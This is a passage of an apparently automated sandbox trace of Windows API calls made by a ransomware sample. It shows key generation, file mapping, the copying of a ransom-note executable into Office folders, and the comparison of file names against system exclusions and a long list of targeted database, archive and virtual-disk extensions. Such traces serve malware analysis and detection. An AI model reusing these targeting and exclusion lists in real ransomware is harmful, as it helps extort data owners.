pbBuffer=0x241d1d8) returned 1 [0070.961] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.961] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3aa80, lpName=0x0) returned 0x154 [0070.963] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3aa80) returned 0x170000 [0070.989] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.990] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.990] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.990] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0070.993] CloseHandle (hObject=0x154) returned 1 [0070.993] CloseHandle (hObject=0x17c) returned 1 [0070.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.994] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2=".") returned 1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="..") returned 1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="windows") returned -1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="bootmgr") returned 1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="temp") returned -1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="pagefile.sys") returned -1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="boot") returned 1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="ids.txt") returned -1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="ntuser.dat") returned -1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="perflogs") returned -1 [0070.994] lstrcmpiW (lpString1="FORMS", lpString2="MSBuild") returned -1 [0070.994] lstrlenW (lpString="FORMS") returned 5 [0070.994] lstrcpyW (in: lpString1=0x241e89e, lpString2="FORMS" | out: lpString1="FORMS") returned="FORMS" [0070.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509020 [0070.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x539f50 [0070.995] lstrcatW (in: lpString1="FORMS", lpString2="\\" | out: lpString1="FORMS\\") returned="FORMS\\" [0070.995] lstrcatW (in: lpString1="FORMS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="FORMS\\HOW TO BACK YOUR FILES.exe") returned="FORMS\\HOW TO BACK YOUR FILES.exe" [0070.995] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\how to back your files.exe"), bFailIfExists=1) returned 1 [0070.998] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2=".") returned 1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="..") returned 1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="windows") returned -1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="bootmgr") returned 1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="temp") returned -1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="pagefile.sys") returned -1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="boot") returned 1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="ids.txt") returned -1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="ntuser.dat") returned -1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="perflogs") returned -1 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="MSBuild") returned -1 [0070.998] lstrlenW (lpString="FRENCH.LNG") returned 10 [0070.998] lstrcpyW (in: lpString1=0x241e89e, lpString2="FRENCH.LNG" | out: lpString1="FRENCH.LNG") returned="FRENCH.LNG" [0070.998] lstrlenW (lpString="FRENCH.LNG") returned 10 [0070.998] lstrlenW (lpString="Athena865") returned 9 [0070.998] lstrcmpiW (lpString1="RENCH.LNG", lpString2="Athena865") returned 1 [0070.998] lstrlenW (lpString=".dll") returned 4 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2=".dll") returned 1 [0070.998] lstrlenW (lpString=".lnk") returned 4 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2=".lnk") returned 1 [0070.998] lstrlenW (lpString=".ini") returned 4 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2=".ini") returned 1 [0070.998] lstrlenW (lpString=".sys") returned 4 [0070.998] lstrcmpiW (lpString1="FRENCH.LNG", lpString2=".sys") returned 1 [0070.998] lstrlenW (lpString="FRENCH.LNG") returned 10 [0070.998] lstrlenW (lpString="bak") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="bak") returned 1 [0070.999] lstrlenW (lpString="ba_") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="ba_") returned 1 [0070.999] lstrlenW (lpString="dbb") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="dbb") returned 1 [0070.999] lstrlenW (lpString="vmdk") returned 4 [0070.999] lstrcmpiW (lpString1=".LNG", lpString2="vmdk") returned -1 [0070.999] lstrlenW (lpString="rar") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="rar") returned -1 [0070.999] lstrlenW (lpString="zip") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="zip") returned -1 [0070.999] lstrlenW (lpString="tgz") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="tgz") returned -1 [0070.999] lstrlenW (lpString="vbox") returned 4 [0070.999] lstrcmpiW (lpString1=".LNG", lpString2="vbox") returned -1 [0070.999] lstrlenW (lpString="vdi") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="vdi") returned -1 [0070.999] lstrlenW (lpString="vhd") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="vhd") returned -1 [0070.999] lstrlenW (lpString="vhdx") returned 4 [0070.999] lstrcmpiW (lpString1=".LNG", lpString2="vhdx") returned -1 [0070.999] lstrlenW (lpString="avhd") returned 4 [0070.999] lstrcmpiW (lpString1=".LNG", lpString2="avhd") returned -1 [0070.999] lstrlenW (lpString="db") returned 2 [0070.999] lstrcmpiW (lpString1="NG", lpString2="db") returned 1 [0070.999] lstrlenW (lpString="db2") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="db2") returned 1 [0070.999] lstrlenW (lpString="db3") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="db3") returned 1 [0070.999] lstrlenW (lpString="dbf") returned 3 [0070.999] lstrcmpiW (lpString1="LNG", lpString2="dbf") returned 1 [0071.000] lstrlenW (lpString="mdf") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="mdf") returned -1 [0071.000] lstrlenW (lpString="mdb") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="mdb") returned -1 [0071.000] lstrlenW (lpString="sql") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="sql") returned -1 [0071.000] lstrlenW (lpString="sqlite") returned 6 [0071.000] lstrcmpiW (lpString1="CH.LNG", lpString2="sqlite") returned -1 [0071.000] lstrlenW (lpString="sqlite3") returned 7 [0071.000] lstrcmpiW (lpString1="NCH.LNG", lpString2="sqlite3") returned -1 [0071.000] lstrlenW (lpString="sqlitedb") returned 8 [0071.000] lstrcmpiW (lpString1="ENCH.LNG", lpString2="sqlitedb") returned -1 [0071.000] lstrlenW (lpString="xml") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="xml") returned -1 [0071.000] lstrlenW (lpString="$er") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="$er") returned 1 [0071.000] lstrlenW (lpString="4dd") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="4dd") returned 1 [0071.000] lstrlenW (lpString="4dl") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="4dl") returned 1 [0071.000] lstrlenW (lpString="^^^") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="^^^") returned 1 [0071.000] lstrlenW (lpString="abs") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="abs") returned 1 [0071.000] lstrlenW (lpString="abx") returned 3 [0071.000] lstrcmpiW (lpString1="LNG", lpString2="abx") returned 1 [0071.000] lstrlenW (lpString="accdb") returned 5 [0071.000] lstrcmpiW (lpString1="H.LNG", lpString2="accdb") returned 1 [0071.000] lstrlenW (lpString="accdc") returned 5 [0071.000] lstrcmpiW (lpString1="H.LNG", lpString2="accdc") returned 1 [0071.000] lstrlenW (lpString="accde") returned 5 [0071.000] lstrcmpiW (lpString1="H.LNG", lpString2="accde") returned 1 [0071.001] lstrlenW (lpString="accdr") returned 5 [0071.001] lstrcmpiW (lpString1="H.LNG", lpString2="accdr") returned 1 [0071.001] lstrlenW (lpString="accdt") returned 5 [0071.001] lstrcmpiW (lpString1="H.LNG", lpString2="accdt") returned 1 [0071.001] lstrlenW (lpString="accdw") returned 5 [0071.001] lstrcmpiW (lpString1="H.LNG", lpString2="accdw") returned 1 [0071.001] lstrlenW (lpString="accft") returned 5 [0071.001] lstrcmpiW (lpString1="H.LNG", lpString2="accft") returned 1 [0071.001] lstrlenW (lpString="adb") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="adb") returned 1 [0071.001] lstrlenW (lpString="adb") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="adb") returned 1 [0071.001] lstrlenW (lpString="ade") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="ade") returned 1 [0071.001] lstrlenW (lpString="adf") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="adf") returned 1 [0071.001] lstrlenW (lpString="adn") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="adn") returned 1 [0071.001] lstrlenW (lpString="adp") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="adp") returned 1 [0071.001] lstrlenW (lpString="alf") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="alf") returned 1 [0071.001] lstrlenW (lpString="ask") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="ask") returned 1 [0071.001] lstrlenW (lpString="btr") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="btr") returned 1 [0071.001] lstrlenW (lpString="cat") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="cat") returned 1 [0071.001] lstrlenW (lpString="cdb") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="cdb") returned 1 [0071.001] lstrlenW (lpString="ckp") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="ckp") returned 1 [0071.001] lstrlenW (lpString="cma") returned 3 [0071.001] lstrcmpiW (lpString1="LNG", lpString2="cma") returned 1 [0071.002] lstrlenW (lpString="cpd") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="cpd") returned 1 [0071.002] lstrlenW (lpString="dacpac") returned 6 [0071.002] lstrcmpiW (lpString1="CH.LNG", lpString2="dacpac") returned -1 [0071.002] lstrlenW (lpString="dad") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dad") returned 1 [0071.002] lstrlenW (lpString="dadiagrams") returned 10 [0071.002] lstrlenW (lpString="daschema") returned 8 [0071.002] lstrcmpiW (lpString1="ENCH.LNG", lpString2="daschema") returned 1 [0071.002] lstrlenW (lpString="db-journal") returned 10 [0071.002] lstrlenW (lpString="db-shm") returned 6 [0071.002] lstrcmpiW (lpString1="CH.LNG", lpString2="db-shm") returned -1 [0071.002] lstrlenW (lpString="db-wal") returned 6 [0071.002] lstrcmpiW (lpString1="CH.LNG", lpString2="db-wal") returned -1 [0071.002] lstrlenW (lpString="dbc") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dbc") returned 1 [0071.002] lstrlenW (lpString="dbs") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dbs") returned 1 [0071.002] lstrlenW (lpString="dbt") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dbt") returned 1 [0071.002] lstrlenW (lpString="dbv") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dbv") returned 1 [0071.002] lstrlenW (lpString="dbx") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dbx") returned 1 [0071.002] lstrlenW (lpString="dcb") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dcb") returned 1 [0071.002] lstrlenW (lpString="dct") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dct") returned 1 [0071.002] lstrlenW (lpString="dcx") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="dcx") returned 1 [0071.002] lstrlenW (lpString="ddl") returned 3 [0071.002] lstrcmpiW (lpString1="LNG", lpString2="ddl") returned 1 [0071.002] lstrlenW (lpString="dlis") returned 4 [0071.003] lstrcmpiW (lpString1=".LNG", lpString2="dlis") returned -1 [0071.003] lstrlenW (lpString="dp1") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="dp1") returned 1 [0071.003] lstrlenW (lpString="dqy") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="dqy") returned 1 [0071.003] lstrlenW (lpString="dsk") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="dsk") returned 1 [0071.003] lstrlenW (lpString="dsn") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="dsn") returned 1 [0071.003] lstrlenW (lpString="dtsx") returned 4 [0071.003] lstrcmpiW (lpString1=".LNG", lpString2="dtsx") returned -1 [0071.003] lstrlenW (lpString="dxl") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="dxl") returned 1 [0071.003] lstrlenW (lpString="eco") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="eco") returned 1 [0071.003] lstrlenW (lpString="ecx") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="ecx") returned 1 [0071.003] lstrlenW (lpString="edb") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="edb") returned 1 [0071.003] lstrlenW (lpString="epim") returned 4 [0071.003] lstrcmpiW (lpString1=".LNG", lpString2="epim") returned -1 [0071.003] lstrlenW (lpString="fcd") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="fcd") returned 1 [0071.003] lstrlenW (lpString="fdb") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="fdb") returned 1 [0071.003] lstrlenW (lpString="fic") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="fic") returned 1 [0071.003] lstrlenW (lpString="flexolibrary") returned 12 [0071.003] lstrlenW (lpString="fm5") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="fm5") returned 1 [0071.003] lstrlenW (lpString="fmp") returned 3 [0071.003] lstrcmpiW (lpString1="LNG", lpString2="fmp") returned 1 [0071.003] lstrlenW (lpString="fmp12") returned 5 [0071.003] lstrcmpiW (lpString1="H.LNG", lpString2="fmp12") returned 1 [0071.004] lstrlenW (lpString="fmpsl") returned 5 [0071.004] lstrcmpiW (lpString1="H.LNG", lpString2="fmpsl") returned 1 [0071.004] lstrlenW (lpString="fol") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="fol") returned 1 [0071.004] lstrlenW (lpString="fp3") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="fp3") returned 1 [0071.004] lstrlenW (lpString="fp4") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="fp4") returned 1 [0071.004] lstrlenW (lpString="fp5") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="fp5") returned 1 [0071.004] lstrlenW (lpString="fp7") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="fp7") returned 1 [0071.004] lstrlenW (lpString="fpt") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="fpt") returned 1 [0071.004] lstrlenW (lpString="frm") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="frm") returned 1 [0071.004] lstrlenW (lpString="gdb") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="gdb") returned 1 [0071.004] lstrlenW (lpString="gdb") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="gdb") returned 1 [0071.004] lstrlenW (lpString="grdb") returned 4 [0071.004] lstrcmpiW (lpString1=".LNG", lpString2="grdb") returned -1 [0071.004] lstrlenW (lpString="gwi") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="gwi") returned 1 [0071.004] lstrlenW (lpString="hdb") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="hdb") returned 1 [0071.004] lstrlenW (lpString="his") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="his") returned 1 [0071.004] lstrlenW (lpString="ib") returned 2 [0071.004] lstrcmpiW (lpString1="NG", lpString2="ib") returned 1 [0071.004] lstrlenW (lpString="idb") returned 3 [0071.004] lstrcmpiW (lpString1="LNG", lpString2="idb") returned 1 [0071.004] lstrlenW (lpString="ihx") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="ihx") returned 1 [0071.005] lstrlenW (lpString="itdb") returned 4 [0071.005] lstrcmpiW (lpString1=".LNG", lpString2="itdb") returned -1 [0071.005] lstrlenW (lpString="itw") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="itw") returned 1 [0071.005] lstrlenW (lpString="jet") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="jet") returned 1 [0071.005] lstrlenW (lpString="jtx") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="jtx") returned 1 [0071.005] lstrlenW (lpString="kdb") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="kdb") returned 1 [0071.005] lstrlenW (lpString="kexi") returned 4 [0071.005] lstrcmpiW (lpString1=".LNG", lpString2="kexi") returned -1 [0071.005] lstrlenW (lpString="kexic") returned 5 [0071.005] lstrcmpiW (lpString1="H.LNG", lpString2="kexic") returned -1 [0071.005] lstrlenW (lpString="kexis") returned 5 [0071.005] lstrcmpiW (lpString1="H.LNG", lpString2="kexis") returned -1 [0071.005] lstrlenW (lpString="lgc") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="lgc") returned 1 [0071.005] lstrlenW (lpString="lwx") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="lwx") returned -1 [0071.005] lstrlenW (lpString="maf") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="maf") returned -1 [0071.005] lstrlenW (lpString="maq") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="maq") returned -1 [0071.005] lstrlenW (lpString="mar") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="mar") returned -1 [0071.005] lstrlenW (lpString="marshal") returned 7 [0071.005] lstrcmpiW (lpString1="NCH.LNG", lpString2="marshal") returned 1 [0071.005] lstrlenW (lpString="mas") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="mas") returned -1 [0071.005] lstrlenW (lpString="mav") returned 3 [0071.005] lstrcmpiW (lpString1="LNG", lpString2="mav") returned -1 [0071.006] lstrlenW (lpString="maw") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="maw") returned -1 [0071.006] lstrlenW (lpString="mdbhtml") returned 7 [0071.006] lstrcmpiW (lpString1="NCH.LNG", lpString2="mdbhtml") returned 1 [0071.006] lstrlenW (lpString="mdn") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="mdn") returned -1 [0071.006] lstrlenW (lpString="mdt") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="mdt") returned -1 [0071.006] lstrlenW (lpString="mfd") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="mfd") returned -1 [0071.006] lstrlenW (lpString="mpd") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="mpd") returned -1 [0071.006] lstrlenW (lpString="mrg") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="mrg") returned -1 [0071.006] lstrlenW (lpString="mud") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="mud") returned -1 [0071.006] lstrlenW (lpString="mwb") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="mwb") returned -1 [0071.006] lstrlenW (lpString="myd") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="myd") returned -1 [0071.006] lstrlenW (lpString="ndf") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="ndf") returned -1 [0071.006] lstrlenW (lpString="nnt") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="nnt") returned -1 [0071.006] lstrlenW (lpString="nrmlib") returned 6 [0071.006] lstrcmpiW (lpString1="CH.LNG", lpString2="nrmlib") returned -1 [0071.006] lstrlenW (lpString="ns2") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="ns2") returned -1 [0071.006] lstrlenW (lpString="ns3") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="ns3") returned -1 [0071.006] lstrlenW (lpString="ns4") returned 3 [0071.006] lstrcmpiW (lpString1="LNG", lpString2="ns4") returned -1 [0071.006] lstrlenW (lpString="nsf") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="nsf") returned -1 [0071.007] lstrlenW (lpString="nv") returned 2 [0071.007] lstrcmpiW (lpString1="NG", lpString2="nv") returned -1 [0071.007] lstrlenW (lpString="nv2") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="nv2") returned -1 [0071.007] lstrlenW (lpString="nwdb") returned 4 [0071.007] lstrcmpiW (lpString1=".LNG", lpString2="nwdb") returned -1 [0071.007] lstrlenW (lpString="nyf") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="nyf") returned -1 [0071.007] lstrlenW (lpString="odb") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="odb") returned -1 [0071.007] lstrlenW (lpString="odb") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="odb") returned -1 [0071.007] lstrlenW (lpString="oqy") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="oqy") returned -1 [0071.007] lstrlenW (lpString="ora") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="ora") returned -1 [0071.007] lstrlenW (lpString="orx") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="orx") returned -1 [0071.007] lstrlenW (lpString="owc") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="owc") returned -1 [0071.007] lstrlenW (lpString="p96") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="p96") returned -1 [0071.007] lstrlenW (lpString="p97") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="p97") returned -1 [0071.007] lstrlenW (lpString="pan") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="pan") returned -1 [0071.007] lstrlenW (lpString="pdb") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="pdb") returned -1 [0071.007] lstrlenW (lpString="pdm") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="pdm") returned -1 [0071.007] lstrlenW (lpString="pnz") returned 3 [0071.007] lstrcmpiW (lpString1="LNG", lpString2="pnz") returned -1 [0071.008] lstrlenW (lpString="qry") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="qry") returned -1 [0071.008] lstrlenW (lpString="qvd") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="qvd") returned -1 [0071.008] lstrlenW (lpString="rbf") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="rbf") returned -1 [0071.008] lstrlenW (lpString="rctd") returned 4 [0071.008] lstrcmpiW (lpString1=".LNG", lpString2="rctd") returned -1 [0071.008] lstrlenW (lpString="rod") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="rod") returned -1 [0071.008] lstrlenW (lpString="rodx") returned 4 [0071.008] lstrcmpiW (lpString1=".LNG", lpString2="rodx") returned -1 [0071.008] lstrlenW (lpString="rpd") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="rpd") returned -1 [0071.008] lstrlenW (lpString="rsd") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="rsd") returned -1 [0071.008] lstrlenW (lpString="sas7bdat") returned 8 [0071.008] lstrcmpiW (lpString1="ENCH.LNG", lpString2="sas7bdat") returned -1 [0071.008] lstrlenW (lpString="sbf") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="sbf") returned -1 [0071.008] lstrlenW (lpString="scx") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="scx") returned -1 [0071.008] lstrlenW (lpString="sdb") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="sdb") returned -1 [0071.008] lstrlenW (lpString="sdc") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="sdc") returned -1 [0071.008] lstrlenW (lpString="sdf") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="sdf") returned -1 [0071.008] lstrlenW (lpString="sis") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="sis") returned -1 [0071.008] lstrlenW (lpString="spq") returned 3 [0071.008] lstrcmpiW (lpString1="LNG", lpString2="spq") returned -1 [0071.008] lstrlenW (lpString="te") returned 2 [0071.008] lstrcmpiW (lpString1="NG", lpString2="te") returned -1 [0071.009] lstrlenW (lpString="teacher") returned 7 [0071.009] lstrcmpiW (lpString1="NCH.LNG", lpString2="teacher") returned -1 [0071.009] lstrlenW (lpString="tmd") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="tmd") returned -1 [0071.009] lstrlenW (lpString="tps") returned 3 [0071.009] lstrcmpiW (lpString1="LNG", lpString2="tps") returned -1 